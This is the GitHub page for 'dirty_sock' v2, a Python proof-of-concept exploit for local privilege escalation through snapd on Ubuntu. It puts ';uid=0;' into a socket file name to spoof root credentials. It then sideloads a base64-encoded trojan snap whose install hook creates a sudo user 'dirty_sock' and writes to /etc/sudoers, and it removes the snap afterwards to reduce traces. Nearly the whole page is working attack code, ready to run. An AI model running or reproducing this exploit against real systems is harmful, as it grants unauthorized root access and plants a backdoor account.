Skip to content
Permalink
Branch: master
Find file Copy path
1 contributor

Users who have contributed to this file

executable file 247 lines (191 sloc) 8.49 KB
#!/usr/bin/env python3
"""
Local privilege escalation via snapd, affecting Ubuntu and others.
v2 of dirty_sock leverages the /v2/snaps API to sideload an empty snap
with an install hook that creates a new user.
v1 is recommended is most situations as it is less intrusive.
Simply run as is, no arguments, no requirements. If the exploit is successful,
the system will have a new user with sudo permissions as follows:
username: dirty_sock
password: dirty_sock
You can execute su dirty_sock when the exploit is complete. See the github page
for troubleshooting.
Research and POC by initstring (https://github.com/initstring/dirty_sock)
"""
import string
import random
import socket
import base64
import time
import sys
import os
BANNER = r'''
___ _ ____ ___ _ _ ____ ____ ____ _ _
| \ | |__/ | \_/ [__ | | | |_/
|__/ | | \ | | ___ ___] |__| |___ | \_
(version 2)
//=========[]==========================================\\
|| R&D || initstring (@init_string) ||
|| Source || https://github.com/initstring/dirty_sock ||
|| Details || https://initblog.com/2019/dirty-sock ||
\\=========[]==========================================//
'''
# The following global is a base64 encoded string representing an installable
# snap package. The snap itself is empty and has no functionality. It does,
# however, have a bash-script in the install hook that will create a new user.
# For full details, read the blog linked on the github page above.
TROJAN_SNAP = ('''
aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD/
/////////xICAAAAAAAAsAIAAAAAAAA+AwAAAAAAAHgDAAAAAAAAIyEvYmluL2Jhc2gKCnVzZXJh
ZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlFGMnpGU2Z5R3k5
TGJ2RzN2Rnp6SFJqWGZCWUswU09HZk1EMXNMeWFTOTdBd25KVXM3Z0RDWS5mZzE5TnMzSndSZERo
T2NFbURwQlZsRjltLicgLXMgL2Jpbi9iYXNoCnVzZXJtb2QgLWFHIHN1ZG8gZGlydHlfc29jawpl
Y2hvICJkaXJ0eV9zb2NrICAgIEFMTD0oQUxMOkFMTCkgQUxMIiA+PiAvZXRjL3N1ZG9lcnMKbmFt
ZTogZGlydHktc29jawp2ZXJzaW9uOiAnMC4xJwpzdW1tYXJ5OiBFbXB0eSBzbmFwLCB1c2VkIGZv
ciBleHBsb2l0CmRlc2NyaXB0aW9uOiAnU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5n
L2RpcnR5X3NvY2sKCiAgJwphcmNoaXRlY3R1cmVzOgotIGFtZDY0CmNvbmZpbmVtZW50OiBkZXZt
b2RlCmdyYWRlOiBkZXZlbAqcAP03elhaAAABaSLeNgPAZIACIQECAAAAADopyIngAP8AXF0ABIAe
rFoU8J/e5+qumvhFkbY5Pr4ba1mk4+lgZFHaUvoa1O5k6KmvF3FqfKH62aluxOVeNQ7Z00lddaUj
rkpxz0ET/XVLOZmGVXmojv/IHq2fZcc/VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAA
AAFZWowA/Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn0OAAnABLXQAAan87Em73BrVRGmIBM8q2
XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtkyjZecTuAfMJX82806GjaLtEv4x1DNYWJ5N5
RQAAAEDvGfMAAWedAQAAAPtvjkc+MA2LAgAAAAABWVo4gIAAAAAAAAAAPAAAAAAAAAAAAAAAAAAA
AFwAAAAAAAAAwAAAAAAAAACgAAAAAAAAAOAAAAAAAAAAPgMAAAAAAAAEgAAAAACAAw'''
+ 'A' * 4256 + '==')
def check_args():
"""Return short help if any args given"""
if len(sys.argv) > 1:
print("\n\n"
"No arguments needed for this version. Simply run and enjoy."
"\n\n")
sys.exit()
def create_sockfile():
"""Generates a random socket file name to use"""
alphabet = string.ascii_lowercase
random_string = ''.join(random.choice(alphabet) for i in range(10))
dirty_sock = ';uid=0;'
# This is where we slip on the dirty sock. This makes its way into the
# UNIX AF_SOCKET's peer data, which is parsed in an insecure fashion
# by snapd's ucrednet.go file, allowing us to overwrite the UID variable.
sockfile = '/tmp/' + random_string + dirty_sock
print("[+] Slipped dirty sock on random socket file: " + sockfile)
return sockfile
def bind_sock(sockfile):
"""Binds to a local file"""
# This exploit only works if we also BIND to the socket after creating
# it, as we need to inject the dirty sock as a remote peer in the
# socket's ancillary data.
print("[+] Binding to socket file...")
client_sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
client_sock.bind(sockfile)
# Connect to the snap daemon
print("[+] Connecting to snapd API...")
client_sock.connect('/run/snapd.socket')
return client_sock
def delete_snap(client_sock):
"""Deletes the trojan snap, if installed"""
post_payload = ('{"action": "remove",'
' "snaps": ["dirty-sock"]}')
http_req = ('POST /v2/snaps HTTP/1.1\r\n'
'Host: localhost\r\n'
'Content-Type: application/json\r\n'
'Content-Length: ' + str(len(post_payload)) + '\r\n\r\n'
+ post_payload)
# Send our payload to the snap API
print("[+] Deleting trojan snap (and sleeping 5 seconds)...")
client_sock.sendall(http_req.encode("utf-8"))
# Receive the data and extract the JSON
http_reply = client_sock.recv(8192).decode("utf-8")
# Exit on probably-not-vulnerable
if '"status":"Unauthorized"' in http_reply:
print("[!] System may not be vulnerable, here is the API reply:\n\n")
print(http_reply)
sys.exit()
# Exit on failure
if 'status-code":202' not in http_reply:
print("[!] Did not work, here is the API reply:\n\n")
print(http_reply)
sys.exit()
# We sleep to allow the API command to complete, otherwise the install
# may fail.
time.sleep(5)
def install_snap(client_sock):
"""Sideloads the trojan snap"""
# Decode the base64 from above back into bytes
blob = base64.b64decode(TROJAN_SNAP)
# Configure the multi-part form upload boundary here:
boundary = '------------------------f8c156143a1caf97'
# Construct the POST payload for the /v2/snap API, per the instructions
# here: https://github.com/snapcore/snapd/wiki/REST-API
# This follows the 'sideloading' process.
post_payload = '''
--------------------------f8c156143a1caf97
Content-Disposition: form-data; name="devmode"
true
--------------------------f8c156143a1caf97
Content-Disposition: form-data; name="snap"; filename="snap.snap"
Content-Type: application/octet-stream
''' + blob.decode('latin-1') + '''
--------------------------f8c156143a1caf97--'''
# Multi-part forum uploads are weird. First, we post the headers
# and wait for an HTTP 100 reply. THEN we can send the payload.
http_req1 = ('POST /v2/snaps HTTP/1.1\r\n'
'Host: localhost\r\n'
'Content-Type: multipart/form-data; boundary='
+ boundary + '\r\n'
'Expect: 100-continue\r\n'
'Content-Length: ' + str(len(post_payload)) + '\r\n\r\n')
# Send the headers to the snap API
print("[+] Installing the trojan snap (and sleeping 8 seconds)...")
client_sock.sendall(http_req1.encode("utf-8"))
# Receive the initial HTTP/1.1 100 Continue reply
http_reply = client_sock.recv(8192).decode("utf-8")
if 'HTTP/1.1 100 Continue' not in http_reply:
print("[!] Error starting POST conversation, here is the reply:\n\n")
print(http_reply)
sys.exit()
# Now we can send the payload
http_req2 = post_payload
client_sock.sendall(http_req2.encode("latin-1"))
# Receive the data and extract the JSON
http_reply = client_sock.recv(8192).decode("utf-8")
# Exit on failure
if 'status-code":202' not in http_reply:
print("[!] Did not work, here is the API reply:\n\n")
print(http_reply)
sys.exit()
# Sleep to allow time for the snap to install correctly. Otherwise,
# The uninstall that follows will fail, leaving unnecessary traces
# on the machine.
time.sleep(8)
def print_success():
"""Prints a success message if we've made it this far"""
print("\n\n")
print("********************")
print("Success! You can now `su` to the following account and use sudo:")
print(" username: dirty_sock")
print(" password: dirty_sock")
print("********************")
print("\n\n")
def main():
"""Main program function"""
# Gotta have a banner...
print(BANNER)
# Check for any args (none needed)
check_args()
# Create a random name for the dirty socket file
sockfile = create_sockfile()
# Bind the dirty socket to the snapdapi
client_sock = bind_sock(sockfile)
# Delete trojan snap, in case there was a previous install attempt
delete_snap(client_sock)
# Install the trojan snap, which has an install hook that creates a user
install_snap(client_sock)
# Delete the trojan snap
delete_snap(client_sock)
# Remove the dirty socket file
os.remove(sockfile)
# Congratulate the lucky hacker
print_success()
if __name__ == '__main__':
main()
You can’t perform that action at this time.